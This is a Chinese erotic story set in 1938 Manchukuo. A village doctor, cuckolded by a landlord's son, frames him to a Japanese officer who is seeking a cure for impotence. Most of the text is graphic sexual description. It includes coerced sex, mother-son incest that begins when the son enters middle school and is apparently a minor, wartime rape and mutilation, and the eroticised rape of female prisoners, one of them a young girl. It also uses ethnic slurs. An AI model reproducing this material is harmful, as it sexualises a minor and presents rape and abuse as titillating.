柳郎中的心病[科学幻想]

 
  北国风光,千里冰封。

太阳已露出半边,却无碍积雪遍地,冰凌满树。

柳翰文走在路上,脚下积雪发出「咯吱咯吱」的声音,心情舒畅地哼起了二人转。

柳家是几辈子的悬壶世家,据说祖上还是御医,柳翰文自己也不晓得真假,不过既然一代代人都这么说,他自己也信了,何况柳家的医术却有独到之处,药到病除,也不算扒瞎,难道那帮跳大神的还真是半仙不成。

现在是康德五年的二月,日本人正在关内打仗,国民政府节节败退,连南京都丢了,屯子里三不五时就有保长敲锣打鼓地庆贺一番,柳郎中作为读书人,经常要被请去念告示的。

大金沟地处偏远,感受不到太多改朝换代的变化,只是去镇上的时候,听跑单帮的人说,现在管得严了,日子越来越不好混,还是张大帅在位的时候好,只要敢闯敢拼,遍地黄金,通常说到此处,就会骂几声败家小六子。

柳翰文不太愿意操心这些,他是凭本事吃饭的读书人,穿长袍的人物,张家父子也好,满洲国也罢,便是日本人难道还有不得病的,总得需要郎中不是。

就比如现在,昨天镇上一个大户人家请他去看病,不过是头疼脑热的小毛病,为啥隔着四十里路非请他过去,还不是他柳翰文隔着门缝吹喇叭——名声在外。

柳翰文想着这些,心中得意,那大户非要请他吃饭留宿,拗不过去,胡吃海塞了一顿,想着家里放心不下,晚上实在睡不着觉,偷摸出了镇子,赶上了夜路。

想着家中的小媳妇,柳翰文忍不住鸡儿梆硬,媳妇桂芝是邻近屯子里的一枝花,樱唇贝齿瓜子脸,身子高挑匀称,谁能想到扒了衣服后的乳房饱满挺拔,常干农活的肌肤紧绷富有弹性,柳翰文恨不得一天到晚腻在媳妇身上,自打娶妻后,连出诊的日子都少了。

远远看见家门在望,柳郎中心头火热起来,脑子中已经出现把桂芝扒光,压在身下的情景了。

蹑手蹑脚的进了院子,天色尚早,柳翰文想着媳妇应该还没起,正好省了脱衣服的功夫,柳郎中面上浮起了读书人不该有的猥琐笑意。

才到门边,忽听到屋子里传来嗯嗯啊啊的一阵呻吟声和肉体撞击的啪啪声。

「这娘们在偷人!」柳翰文一股怒火直冲顶门,想要一脚把门踹开,又怕惊走了奸夫,尽量轻手轻脚地开了门。

里间声音越来越清晰,柳翰文强忍着愤怒,撩开蓝布门帘,见炕上一具铁塔般的健壮身躯正压在赤裸的桂芝身上,疯狂耸动。

桂芝如同水草般美丽的长发搭在炕沿左右晃动着,雪白的乳房上红痕遍布,一个光亮的大脑袋正埋在中间啃咬着,两条修长结实的大腿随着男人健壮的腰身耸动轻轻颤抖。

「啊——」桂芝仿佛从喉咙深处发出的一声长长呻吟,两条笔直的大腿抻直蹬向了屋顶,连秀美的脚掌与脚趾都绷紧成一条直线。

柳翰文知道妻子美了一次,熟悉妻子身体的他知道每当这个时候,妻子紧窄的小穴内所有嫩肉都会紧紧收缩,那股子酣美劲能让人恨不得将身子都揉进肥美的屄穴里。

桂芝身上的男人停住了身子,似乎也在享受那一阵阵紧缩带来的快感,当妻子白嫩的身子震颤停止后,又开始进一步挺动。

「求你了,我真不成了,从昨夜到现在,你整个不停,我真受不了,我男人快回来啦,撞见咋整?」桂芝的脸上红潮未退,开口求饶。

妈的,从昨夜干到现在,这奸夫是犯色痨了,老子在外面挣钱养家,你个娘们竟然偷汉子,柳翰文怒从心头起,恶向胆边生,从灶台上抄起菜刀,但没有立刻冲进去,他要看清奸夫的脸。

「放心吧,你男人被请到镇子上瞧病了,我让那家朋友留他过夜,就算一早往回赶,也得过晌午才能回来。」奸夫啃咬着丰硕挺拔的奶子,含糊不清说道。

怎么,昨天那家大户请自己看病是他安排的,柳翰文知道那大户的势力,据说儿子还在县里当差,竟肯听这人的话,这奸夫到底是谁。

桂芝在男人的撞击下再度呻吟起来,声音带着颤抖:「那你……你体谅一下我……我真不成了,还得下地干活呢……」「好吧,再爽一次就放过你。」男人的脑袋从雪白结实的胸脯中抬起,柳翰文终于看清了男人的脸。

王大顶!男人是屯子里最大的地主王家的大少爷,柳翰文有些犹豫了,不是不想杀他,而是没把握杀得掉。

柳翰文没有佃王家的地,不妨碍平日见面称一声少东家,其实柳郎中打心里瞧不起这位败家子,傻不拉几的,不过生得命好而已,王老爷年轻时走南闯北,据说还到过哈尔滨,是见过世面的人物,把儿子送到县里洋学堂念书,可这小子几年前却从县里跑了回来,说死也不回去,王老爷疼儿子,就由得他胡闹,王大顶整日无所事事,跟着家里炮手学把式,练枪法,进山打猎,打熬筋骨,二十郎当岁生得虎背熊腰,柳翰文这样手无缚鸡之力的,估计他一只手能打四五个。

柳翰文琢磨着要不要进去搏一搏,忽听到桂芝发出「呜呜」的痛苦声音,往里看,王大顶那铁塔般的身子已经站立起来,媳妇桂芝跪在炕上,卖力地含着他那根乌黑发亮的粗长鸡巴。

同是男人,虽然柳翰文恨不得进去剐了王大顶,还是从心里佩服那小子的鸡巴真他妈大,妻子用尽力气不过才吞进去一半,已经可以看到喉咙处的凸起,还有一半在桂芝的手上不住套弄着。

「噢……呜呜……」从妻子喉咙深处艰难的发出呻吟,终于忍不住将那根被她舔得发亮的肉棒吐了出来,如鸭蛋般的菇头上挂着一根银丝般的唾液。

「不,不行了,憋死了,你这玩意儿咋长得,这么大。」桂芝连连喘息,高耸的胸脯起伏不定。

王大顶此时应该憋得受不了,一把将桂芝摁倒在炕上,他自己跳下炕,站在地上,一挺鸡巴,一下捅了进去。

桂芝嗷的一声惨叫,身子无力地随着王大顶的抽送轻轻颤动。

王大顶抽送得快速而有力,一对黝黑的卵子在桂芝结实弹性的屁股上一次次撞击,发出「啪啪」的声音,柳翰文听了都觉得屁股疼。

玩弄了许久,王大顶猛地用双手用力握住桂芝那晃动的双乳,在上面拼命地揉搓着,力气很大,从他握住的指缝之间,乳肉从里面被挤了出来。

桂芝雪白的乳房已经被他弄得布满了红印,不知是痛是爽,鼻腔内发出阵阵的呻吟。

突然地,王大顶将桂芝的腰抬了起来,紧紧掐住柔软的腰肢,狠命地把鸡巴急速不停地抽插,力量大得惊人,每一次插干,都几乎把整个肉棍子完全地顶到桂芝身体里面,甚至连睾丸都几乎塞了进去。

「啊……啊……你这是要肏死我……要了命了……」桂芝开始大声呻吟,无意识地浪叫。

桂芝的叫声好像给王大顶鼓足了劲,肉体开始碰撞的愈来愈激烈。

结实的土炕被二人的撞击发出「咚咚」的声音,柳翰文都担心自家炕头会突然塌掉。

「咕叽咕叽」的水声从二人性器交合部位发出,桂芝身子开始抽搐,叫声也越来越大。

「啊……干死我……死了……你太厉害……」

虽然怒火中烧,柳翰文听得二人办事身子也不由得开始发热。

王大顶此时更是买力地狠干,不停地把肉棒在桂芝的肉洞里来回抽送,大量的淫水和汗液把炕上被褥弄得湿摊了好大一片。

「我来了……来了……」

桂芝雪白的身子开始剧烈颤抖,两条大腿的肌肉却紧紧地绷在一起,俏脸上呈现出一种有些痛苦和挣扎的表情。

柳翰文知道妻子的高潮是多么强烈,整个屄穴连同里面嫩肉会不停地收缩,通常柳翰文会在这种收缩下丢盔卸甲。

王大顶也被桂芝突如其来的高潮弄得浑身舒畅,他嘴里发出老牛般的粗重喘息声,勉强又在捅了几十下后,他全身抖了起来,抽搐了好几下,然后一点不漏地将大鸡巴全部挺入桂芝的肉穴里,牛蛋般圆圆的卵子也开始在收缩着,一下下颤抖。

随着卵子每次颤抖,桂芝的身子就随着抖动一下,连续十几次抖动,桂芝发出恍如重生般的呻吟:「爹啊,烫死我了。」这一生呻吟将柳翰文惊醒,马上出了院子装作刚回来的样子,开篱笆门的时候故意弄出很大声响,果然,王大顶神色不自然的出了门。

「柳郎中好啊。」王大顶比柳翰文高出一头,即便是打招呼也是俯视,让柳翰文有种被人小瞧的感觉。

「少东家,你咋来了?」柳翰文故作糊涂。

「老爷子最近身体不好,想请郎中过去看看,谁想问了嫂子,你出诊去了。」王大顶打个哈哈道。

「贱内在不是更好。」柳翰文还是忍不住来了一句。

王大顶好像明白了什么,没再说话,呵呵一乐,自顾走了。

进屋后,柳翰文看见桂芝衣衫不整,头发也是刚梳的,对着他带着讨好的笑意:「当家的回来了,还没吃吧,我给你做去。」「做什么啊,砒霜么?」柳翰文冷哼道。

「当家的,你说这话啥意思?」桂芝慌张道。

「啥意思你不知道,奸夫淫妇,让老子当王八!」别看柳郎中打不过王大顶,对付桂芝这样的,手拿把攥,抬手就是一嘴巴。

俏脸肿起来的桂芝一下就跪下了,「当家的,我也没办法……」「没法子,他有钱,他鸡巴大,把你整美了是不是?」柳翰文一脚将媳妇踢开,难得说了平时不屑说的脏话。

桂芝可怜兮兮地爬了起来,抱住男人大腿,「不是的,他说要是不给他干,他就让胡子弄死你啊,当家的,我是担心你。」「去你妈的,骗鬼去吧。」柳翰文抽腿抽不出来,用手掰媳妇的手腕。

「嗯……」摸了媳妇的雪白腕子,柳翰文觉察不对,「喜脉?你有了?」桂芝嗫喏道:「两个月没来了,我也不知道……」「说,是不是王大顶那败家子的?」柳翰文一直没个骨血,媳妇怀孕本该高兴,却赶上知道这么个事。

「我……我也不知道。」桂芝哇地哭了出来。

几个月前,桂芝在河边洗衣服,正逢上打猎归来的王大顶,那小子看见桂芝长得标致,兴致一起,就在河边把她给干了,明摆着告诉她,乖乖听话,两个人就是露水夫妻,要是敢声张出去,先灭了她男人,再把她抢回去折腾。

就这样,二人经常在柳翰文不在的时候胡天胡地,可柳翰文在的日子哪天也没闲着,桂芝发现红潮不至,自己也弄不清是谁的,没敢告诉丈夫。

柳翰文心中为难起来,要是王大顶的孽种,一碗汤药下去,保证打掉,可万一打掉的是自己骨血,岂不是赔了媳妇又折孩子,怎么对得起祖宗,两口子一合计,先把孩子生出来吧,要是生的像柳翰文还好,要是长得有半点大脑袋的模样,直接扔雪地里喂狼去。

主意打定了,柳翰文心中的疙瘩可一直没下去,凭啥媳妇白白被人睡了,自己还半点报复都做不得,一晃几个月,柳郎中就想着怎么收拾王大顶,主意没想到,自己倒上了不少火,嘴上燎起了一串水泡。

正当柳郎中琢磨怎么给大脑袋的王大顶找麻烦时,麻烦却突然找上了他。

二、铃木谦三的隐疾

一对荷枪实弹的日本兵突然闯进了大金沟,指名道姓地抓走了上火的柳翰文,被抓的时候柳翰文就一个念头,他妈狗日的王大顶先动手了……柳翰文被一直押解到了县城守备队,柳郎中心中七上八下,他听镇上人说过日本人杀人不眨眼,安个罪名就杀头,连吃大米都是经济罪,要是被按个抗联的名头,他全家都保不住啊。

进了守备队后的处境比预想的要好,柳翰文没有被扔进监狱,而是进了一间办公室,日本兵还给他倒了杯水,不过这并没有打消柳郎中的疑虑,当听到屋外皮靴响动时,他几乎一下跳了起来。

一个日本军官走了进来,三十不到的年纪,个子不高却很结实,留着日本人常见的仁丹胡,两只小眼睛凶光四射。

「你的,神医柳翰文?」军官懂得中文,只是有些生硬。

「太君,学生正是柳翰文。」柳翰文弓着腰回答。

「柳桑,你好,抱歉惊扰到您了。」日本军官突然来了个九十度的鞠躬。

「哎呀太君,这如何使得。」柳翰文惊得扶又不敢,只得也来了个长揖到地,作为回礼。

日本人取出一个小木盒,双手递上,「柳桑,请您一定收下。」「这,这是……」柳翰文迟疑地打开木盒,明晃晃地耀眼,竟是三根金条。

别看大金沟叫个「金沟」的名字,实际上矿脉早绝了,柳翰文这辈子连银元见得都少,何况真金了。

「太君,这太贵重了,学生不敢收。」柳翰文连连摇手,不是不爱钱,是怕这钱烫手。

「这是诊金,请治好我的病。」日本人一脸诚恳,眼神中全是冀望。听到是治病,柳翰文心放下了一半,「太君,您说说是什么病啊?」日本人有些为难,还是请柳翰文坐下,说起了自己的病情。

日本军官叫铃木谦三,大阪人,家里是做小生意的行商,从记事起父亲就不常在家,只有母亲辛苦操持家务,小时候的记忆里,经常在梦间醒来,听到母亲如同病人一样的呻吟呢喃,棉被下的身子如蛇样的扭动,当他担心母亲出声询问时,母亲只是告诉他身体不舒服,天亮就好了。

在这样朦朦胧胧的记忆里,铃木谦三渐渐长大,母亲看他的眼神渐渐有了些变化。

当铃木谦三升入国中那一天,母亲很高兴,特意准许他可以喝清酒,醇酒醉人,迷迷糊糊地母亲又像往常一样为他洗澡,擦身的过程中,母亲尤为关注他的肉棒,洗得非常认真。

铃木谦三喷着酒气,看着同样赤裸的母亲雪白的肉体,心头中有些念头晃动。

「妈妈,我来为你搓背吧。」铃木谦三突然说。

「好啊。」母亲一笑,坐在杌子上,将雪白的背部冲着铃木谦三。

铃木拿着手巾,轻轻擦拭着母亲的肩颈,渐渐从腋下穿过,到了那对柔软的乳房上,隔着薄薄的手绢,铃木手中的触感很强烈,温暖富有弹性,他不由自主地加大了力道,从擦拭变成了揉动,母亲的乳房随着他的手不住地变幻形状。

母亲鼻子里发出了呻吟声,这声音他很熟悉,从小到大不知听了多少遍,手上更加用力。

正自沉醉间,铃木的手突然被母亲抓住了,铃木以为母亲要阻止他,心中有些遗憾。

没想到,母亲将他手中的手巾扯掉了,右手在母亲饱满的乳房间再没有阻碍,母亲按着他的手教导铃木如何揉动,「对,力气再大些,好,就这样……」母亲的呻吟声渐渐大了起来,铃木鼓足勇气,将另一只手也探到母亲胸前,两只手同时画着圆圈般的揉动,鼻孔喷出的热气也越来越粗重。

母亲将手后探,握住了儿子那根早已翘起的肉棒,套动由轻到重,速度也越来越快,甚至让铃木疼出了声。

母亲却不再管这些,转过身一把将儿子推到,蹲跨在铃木身上,扶住那根晃动不已的肉棒,大力往下一坐。

「啊——」母子同时发出叫声。

铃木觉得肉棒进入了一处温暖湿润的空间,层层包裹缠绕让他说不出的舒服。

母亲的眼角似乎渗出了泪水,「太好了,谦三,你长大了,和你父亲一样,啊……」母亲的呻吟让铃木充满了力量,本能地将肉棒挺入得更加深入。

「好……好极了……我的谦三真能干……」母亲的腰肢开始扭动,圆滚滚的臀部在铃木谦三的双腿间左摇右摆,前挺后耸,一对丰满的乳房不住跳动。

「妈妈……我好舒服,啊……」铃木谦三也无意识地喊叫,伸出手去抓住正在跳动的乳房,拼命揉搓。

母亲摁住铃木的胸膛,雪白的大屁股疯狂地一阵筛动,「我的心肝……我的好孩子……你……太长,太粗、太壮……了,你插在妈妈子宫里……喔……顶得好,……要顶死……我了……」一阵狼嚎般的吼叫,母亲蹲套得更加快速,身子轻轻颤抖,肥大的臀部与铃木的大腿根疯狂撞击,声音如同耳光般响亮。

铃木觉得自己的肉棒也越来越胀大,有种要爆发的感觉,拼命挺动下身,想缓解这种感受,就在他逐渐熟悉如何使力的时候,发现房内气氛有些不对,母亲停止了扭动,怔怔地看着门口。

躺在地板上的铃木谦三艰难地扭过头去,发现离家的父亲铃木久造不知何时站在门口,巨大的惊恐让铃木谦三下身一下子失去了感觉。

铃木久造的面上先是惊讶,随即暴怒,抄起了一根木棍,劈头盖脸地向母子二人打去。

「不要,爸爸,我错了!」铃木谦三哀嚎着躲避木棍。

母亲这时发挥出了母爱的伟大,不顾赤裸的身体挨了多少次重击,紧紧抱住铃木久造的大腿,对着儿子嘶喊着:「快逃——」铃木谦三抱着衣服跑出了家门,逃到了乡间的叔叔家里,一晃几年,直到得到了父亲去世的消息,才赶回了家。

几年的时间,母亲憔悴了许多,见到儿子回来很高兴,那一夜,再无顾忌的母子又睡到了一起,小铃木很兴奋,两个人如同柔道国手一般纠缠在一起,铃木对着母亲从头到尾的亲吻,可是下身却没有半点反应。

无论母亲舔、吮、裹、咬,使出各种手段,铃木的命根子一直软塌塌得无精打采,彻底丧失希望的母亲嘤嘤哭泣。

第二天,铃木谦三离开了家,再也没有回来。

不顾养育他的叔叔反对,铃木谦三考入了陆军士官学校,从军入伍,随后又派驻中国,成为关东军的一员,日中战争全面爆发,他随同师团参与对国民政府军队的作战。

无论是战斗中还是平时训练,铃木谦三表现出来的残忍果决让同袍及部下胆寒,得到一个「鬼铃木」的绰号。

支那战场上攻城略地,部下也曾抓过几个女人孝敬铃木,他来之不拒,部下能听到他房间内中国姑娘的惨嚎哀鸣,第二天抬出的通常是一具具冰冷的尸体,下体血肉模糊,狼藉一片,那是被铃木用军刀刀柄创伤的痕迹。

铃木谦三不会放弃任何一个证明自己是真正大和男儿的机会,一次战斗后抓了许多俘虏,铃木满意地欣赏着被串成一排蹒跚前行的队伍,这是他又一次英勇表现的杰作。

一名负伤的中国士兵对着他吐了口唾沫,引起了他的兴趣,铃木让人把他叫了出来,摸着自己的仁丹胡,「支那军人,你的不服气?」「爷爷是被你们用毒气俘虏的,服气你姥姥。」中国士兵大骂。

在关东军的服役经历,让铃木懂得中文,他没有为中国士兵的辱骂气恼,这是天照大神再次给了他当众展现男人雄风的机会。

他让部下为中国士兵松绑,在地上放了一大碗米饭和一罐牛肉罐头,以及一支上了刺刀退了子弹的步枪。

中国士兵「呸」了一声,一脚将饭和罐头踢开,拎起了刺刀。

「呦西。」铃木谦三举起军刀,摆开架势,对着中国军人劈了过去。

铃木谦三虽然个头较小,但身体灵活,军校那几年训练也的确没白费,中国军人又伤又饿,几个照面被铃木踢倒。

铃木狞笑着挥舞军刀劈了下去,那名中国军人应该会几手庄稼把式,一个扫腿,将得意忘形的铃木绊倒,跳起身来举起刺刀就往下刺。

「砰」的一声枪响,中国军人中枪倒地。

灰头土脸的铃木感觉受到了莫大的侮辱,举刀劈死了那个救他一命的日军士兵。

在随后的战斗中,铃木谦三更加不要命,包括别人的,他这个疯狂的作风在日军别的部队或许会受到嘉奖,可他的部队偏偏是大阪人组建的,铃木这种不拿人命当回事的战斗方式,在一向理性务实的第四师团中实在异类,借着他一次负伤,一纸调令升职嘉奖,他再次回到中国东北,成为了满洲国滨江省一个县守备队的少佐中队长。

尽管手握一县之地的生杀大权,可铃木谦三心中和身体的痛楚没有丝毫减少,一次偶然听说了柳翰文这个御医世家的大名,他萌生了一丝希望。

当然,铃木心中的故事不会对柳翰文明讲,他说了柳翰文也不敢听,柳翰文只是听了病情后又为他把了脉,便陷入了沉思。

「柳桑,我的病的,可以治?」铃木谦三眼神热切地盯着柳翰文。

柳翰文此时心中已经打定了主意,故意拿捏道:「这个么,不好办……」「八嘎!」铃木谦三霍地站了起来。

「太君,太君,我还没说完呢。」柳翰文吓了一跳,这小日本怎么是个急脾气,江湖上的「先千后隆」对他们一点用没有啊。

「不好办是因为缺一味药引。」柳翰文将铃木谦三好不容易安抚下来。

「什么药引?」铃木追问。

「太君的病是阳气不足所致,需要的药引必然是阳气十足,以形补形。」柳翰文摇头晃脑。

在柳翰文的暗示下,铃木谦三明白了他的意思,「好办,监狱里有许多犯人。」「不可不可,寻常人物的阳根怎能入药,必须要『神根』才可。」「什么是神根?」铃木此时被忽悠得一愣一愣。

「神根者,神仙根也,造化弄人,天生万物,有人的阳根是凡品,有的便是神根,可谓万中无一。」「那怎么办?」铃木谦三再疯狂,也没有一个一个剁男人阳具的打算,何况剁满一万个也未必找得着。

「天佑太君,学生恰巧知道一人生此神物。」

「什么人?我立即去抓。」铃木谦三激动起来。

「这个人家里有钱有势,还和山上好几个绺子有来往,太君要三思啊。」柳翰文假意劝说。

铃木摇头,「中国军队的,不行,土匪的,更不行。到底是谁?」「大金沟王家的少爷——王大顶。」柳翰文心中冷笑,王大顶,你的报应来了。

三、王大顶的药引

大金沟王家的少爷王大顶是抗联,这消息传出来全县的人都震惊了,这么个玩意都是抗联,那天底下还谁不是抗联。

「妈拉巴子的,你们这帮鳖犊子玩意,抓错人啦。」王大顶自打被抓进了大牢,嘴就没闲过,抓着栏杆破口大骂,嗓子也不干。

远远观察着牢房的铃木谦三有些怀疑,「这个人有神根?」「太君,人不可貌相,他那个牛子别提多尿性了,要不然能骚性地到处撩骚,十里八乡地大姑娘小媳妇没少被他糟蹋。」柳翰文害怕铃木放人,添油加醋地描述。

柳翰文的话成功让铃木来了兴趣,自己哪怕能达到一半这样的能力也好啊。

牢门打开,铃木走了进来,王大顶蹭的一下站了起来,铁塔般的健壮身躯给了铃木很不适应的压迫感。

「我的,大日本皇军少佐,你是王大顶?」

王大顶来了个充满江湖气的抱拳,「太君,我们老王家给满洲国交粮当差从没含糊过,咋地就成了抗联啦?」「这只是一个小误会。」铃木摆了摆手,「调查清楚前,你可以在这里为皇军做事。」「做啥事啊?」王大顶纳闷。

铃木给王大顶安排的差事是看守女牢房,看守的方式是直接把他也给扔了进去,而且几乎明摆着告诉王大顶,这些女人是抗联,注定不会活着出狱了,愿意做些什么就做些什么。

牢房内的七八个女人衣衫不整、头发蓬乱,对突然出现的一个健壮男人充满了恐惧,聚集在一起,缩在墙角惊恐地看着王大顶。

王大顶倒是安静得很,将铺盖卷往地上一扔,躺在上面一会儿就打起了鼾,让躲在牢房外听墙根的铃木谦三空等了半宿。

第二日,盯着黑眼圈的铃木把王大顶唤了过来。

「皇军将那些女人交给你看管,你为什么不动她们?」王大顶梗着脖子说:「那些女人是皇军交给我看着的,要是弄出个好歹,咋对得起太君托付。」铃木谦三弄不明白这小子是真傻还是忠心,皱着眉头说:「今夜不用顾忌,用你们的话说,肏死她们。」王大顶好像终于开窍了,「太君,中国女人我玩够了,提不起兴趣。」铃木谦三喘了口粗气,「我来安排。」夜里,王大顶又被安排进了一间牢房,房里有酒有肉,两个穿着赤古里的朝鲜姑娘,一个穿着和服的日本女人,还有一个金发碧眼的白俄女人,这是铃木特意从哈尔滨弄来的,因为不了解王大顶口味,能弄到的女人各国都预备下了。

两个朝鲜小姑娘好像是姐妹,细眉细眼,可怜兮兮地抱在一起。

那个老毛子女人最没心没肺,对着酒菜可劲儿猛造。

这三个人都没引起王大顶的注意,他一直看着那个日本女人,女人没有像朝鲜姐妹那样露出恐惧,而是带着一种鄙夷的神色看着他。

王大顶一步就冲了过去,要去撕女人的和服,不料被女人一把推开,生硬的中文喊道:「猪,支那猪,不要碰我。」这彻底将王大顶惹恼了,抬手一个耳光,他那蒲扇般的大手一下子将日本女人抽懵了,晕晕沉沉间衣服被扒了下来。

「妈拉巴子,装什么逼,里面连裤丝都没一条。」王大顶脱下衣服,露出一身黑黝黝的腱子肉,和那根将尽一尺长的粗大鸡巴。

「啊——」那对朝鲜小姐妹吓得捂住了眼睛。

王大顶根本没有搭理她们,手扶肉棒,对着日本女人干涩的肉穴一下挺了进去,女人痛得浑身一颤,死命推打,却无济于事。

王大顶没有客气,抡圆了巴掌,又是左右开弓四下,打得女人呜呜哭泣,再也不敢反抗。

王大顶这才抖擞精神,大拉猛顶,一口气猛插五十多下,每一次都捅到花心,向着子宫口挺进。

日本女人的身体像麻花似地发疯地扭动,阴户随着肉棒的节拍,向上猛顶。

「啊……啊……好……好狠……顶……顶得……再快……点……啊……好热……好硬……好长,插……插吧……」她仅懂的几句中文,断断续续地喊了出来。

「妈的,日本骚娘们,捅几下就浪了。」王大顶下身的肉棒又加快了速度,一连又是一百多下,直进直击,急抽猛插,同时狠掐猛揉女人的乳房,在白皙的皮肤上留下斑斑红印。

只听到「啪,啪,啪」肉击声,在肉棒和阴户的交接处阵阵响起,只听到喘息声伴随着女人的呻吟声,震动着整个的房间,朝鲜姐妹捂住耳朵,身子瑟瑟发抖。

「啊……啊……喔……美……美……你……插死小穴了,对!好!啊……用力……对……就是……那里……喔……好痒……痒得钻心……再深点……用力掘……哎啊……真好,爽死我了……」「唔……唔……呜噢!……噢……噢……」日本女人疯狂的浪叫,一声高似一声,柔软的腰肢死命的扭摆。

只听「啊」一声尖锐的叫喊,日本女人摇动着长发,全身抽搐般地颤抖,尿了王大顶一身,瘫软了下去。

「日本娘们也不禁肏。」王大顶也没有放过她的意思,将女人身体扳了过来,将女人的屁股抬起,对准褐色的屁眼,下身用力,肏了进去。

「不可以,求求你。」只见日本女人摇头晃脑,痛得浑身发抖,「那里不可以。」「真他妈紧,这里还是第一次。」王大顶邪笑,按住女人腰肢,一寸寸将肉棒全部顶入。

女人疼得出了一身冷汗,双手紧紧抓住身下干草,两条白腿忍不住地抖动。

王大顶慢慢动作,由开始的干涩,到逐渐分泌的肠油润滑,他的速度也开始加快,小腹不停撞击女人肉感的屁股,同时啃咬着女人肩颈,留下了一个个深深的牙印。

女人开始嘶喊,不是方才的舒畅,而是因痛楚发出嚎叫,王大顶仍是不留情面地耸动,越来越重,越来越快,将女人肛门嫩肉都干得翻转出来。

「弄死你,操你妈的,日本贱货。」王大顶咬着牙,抱着日本女人的腰腹,左右挑刺,横冲直撞。

日本女人终于受不了了,后庭的充胀饱满,让她无法承受,身子一阵痉挛,晕了过去。

王大顶又冲刺了几百下,才将火热的种子洒在女人直肠里。

看着男人呼呼地喘着粗气,那对朝鲜姐妹似乎放下了心,没想到王大顶从日本女人身上站起时,那根粗大丑陋的肉棒又生龙活虎起来。

王大顶拽起那个年纪小些的朝鲜女孩,几下撕破了她的衣服。

女孩很瘦弱,一对鸽乳王大顶几乎一手就能攒在一起,「大哥,不要,求求你。」女孩可怜巴巴地哀求。

「闭嘴,高丽南傍国,平日你们这些朝鲜二鬼子也没少欺负中国爷们,今天报应来了。」王大顶将女孩按在地上,大手从瘦弱的身躯上滑过,拨弄了几下稀疏的阴毛,分开那对细细的大腿,将他那棒槌般的肉棒顶到了女孩红艳艳的洞口。

「大哥,大哥,放了我妹妹,我可以的。」那个大点的朝鲜姑娘冲了过来,抱住王大顶的大腿,自己脱了赤古里布裙。

看着这个女孩比身下的略微丰满,王大顶犹豫了下,「好,可你要是整不出来,我还肏你妹妹。」「可以的,可以的。」女孩翘着舌头,连连点头。

王大顶坐在地上,「自己坐上来。」

姐姐背对着王大顶,颤颤巍巍将自己娇弱的阴部对准王大顶粗大的肉棒,王大顶只能看到露出稀疏的毛尖的阴部缓缓将自己的鸡巴慢慢吞噬,那股子紧窄不是方才日本娘们能有的,如同一层层套子渐渐勒紧了肉棒,舒服得他哼哼出声。

王大顶伸手将妹妹拽了过来,又掏又摸,惹得小姑娘一阵阵尖叫。

正皱着眉头下蹲的姐姐,听到背后妹妹的尖叫,心中一惊,两腿没有绷住,一下坐了下去。

「呀——」姐姐皱紧眉头,发出一阵轻呼。

「快动,不然干你妹子。」王大顶一边用手揉着那对青涩的乳房,一边用嘴啃咬着少女稚嫩的阴部。

火热而粗壮的肉棒像烧红的铁棍一样杵入了她的最深处,朝鲜女孩呼呼地喘着气,费力开始扭动身子。

「呜……呜……」她轻轻地呻吟着,那根又粗又烫的棍子一下一下地顶入她的深处,点触她的敏感处,引得那淫水不住地往外流。

王大顶可以清楚地看到女孩的阴部嫩肉被他粗长的肉棒带动下进进出出,欲念渐起,手上也加重了力气,妹妹雪白的鸽乳被他捏得通红。

王大顶终于忍不住了,推开妹妹,坐了起来,只是轻轻一拎,姐姐轻盈的身躯便被他抱成了跪伏的姿势,他身子向前猛地一挺,加快速度奸淫身下这个朝鲜姑娘。

这猛烈地冲击,好像刺穿了姑娘的五脏六腑,「唔——」扬起脖子发出一声哀鸣,随后身子像一艘海中颠簸的小船,被王大顶掀起的大浪不住吹打,攻击,干得她气喘吁吁,精疲力尽,「我要死啦——求求你……」「大哥,饶了姐姐。」妹妹眼泪汪汪,撕扯着王大顶。

看着身下的姐姐只是嗯嗯闷哼,王大顶将她往地上一推,一下将妹妹扑倒,「饶了她,就饶不了你啦。」「不要,不要,大哥,求你,啊——」少女凄厉的一声惨叫,随即呜呜哭了起来。

王大顶双手架起瘦弱的双腿,把暴胀的阳具插入了少女方才被她舔得湿淋淋的屄穴中。

「疼!」粗壮的阳具带着热力进入了自己的体内,女孩禁不住发出了一声呻吟,感觉身子都要被一分为二。

王大顶双手揉捏着她没有完全发育的乳房,屁股大幅度地前后运动,一下下有力地把巨大肉棒插入少女的小屄中。

「噢……唔……」女孩一双大腿无力地分在两边,雪白的屁股在剧烈的冲撞下轻颤着。

王大顶伸出舌头舔着少女的脸,啃着她的嘴,将女孩整个脸都弄得湿漉漉的,分不清哪个是他的口水,哪片是她的泪水。

下身的强烈疼痛让少女觉得下体开始麻木,两手抓紧了王大顶的脊背,划出了道道血痕。

王大顶浑然不觉,少女冰凉的淫水随着他的抽送滴滴答答地淌下,湿了一片干草,滑腻而火热的小穴令他快感倍升,他不由自主地加快了速度。

忽然,他感到身下的少女一阵痉挛,好像有张小嘴一样不停吮吸他的鸡巴头子,强力的快感顿时传遍了全身,他刹间停下了动作,喉咙里传出低低的吼声。

趴在少女身上喘了一会儿,再站起来他的鸡巴又是摇头晃脑。

那个白俄女人已经酒足饭饱,瞪着眼睛瞧着他。

王大顶冲老毛子娘们冲了过去,女人没有跑,竟然也迎了过来,配合他脱掉自己衣服,一把含住王大顶的鸡巴就开始狂吮猛舔,舒服得王大顶直哼哼。

白俄女人皮肤没有东方女人的细腻,可是身材丰满,几乎和王大顶一样身高,那对又白又大的奶子怕得有二十几斤,王大顶怎么都握不住。

王大顶顺着女人雪白的后背下滑,一手都滑到了股沟里,女人的屄毛竟然也是淡金色的,茂盛地长满了胯间,王大顶将手指伸进老毛子的屄穴,女人含着他的肉棒「唔唔」了几声,没有太大反应。

王大顶又将拇指戳进了女人肛门,女人只是晃了晃雪白的肥臀,还是没有太大动静,这让王大顶来了脾气。

直起腰来,抓住那头长发,把女人的嘴当成了屄穴,狠狠一阵肏弄。

白俄女人嘴里发出「咕噜咕噜」的声音,两手还有余暇摸他的腚沟和卵子,直到王大顶狠狠的一次尽根插入,女人才受不了,抓紧了王大顶的卵袋,强迫他退了出来。

随着肉棒从女人嘴里拔出,哗啦啦一大堆口水流淌出来,女人好像也被憋得够呛。

王大顶将女人扑倒,将那根粗大鸡巴没有一点前兆的捅进女人阴部,力气用得太大,差点连那对肉蛋都带了进去。

女人口中发出「嗬嗬」的叫声,嘶喊着王大顶一点也听不明白的鸟语,双手不断地在王大顶的前胸后背,乱抓乱挠,一双丰满的白腿不停地蹬踢,活像一只发情的母狼发出了吓人的吼叫。

王大顶双手向下托住了丰满的大白屁股,用力往上一拢,大肉棒使劲往下一顶,连肉蛋都带入了进去,又一用力,粗大的肉棒在屄穴里开始转磨。

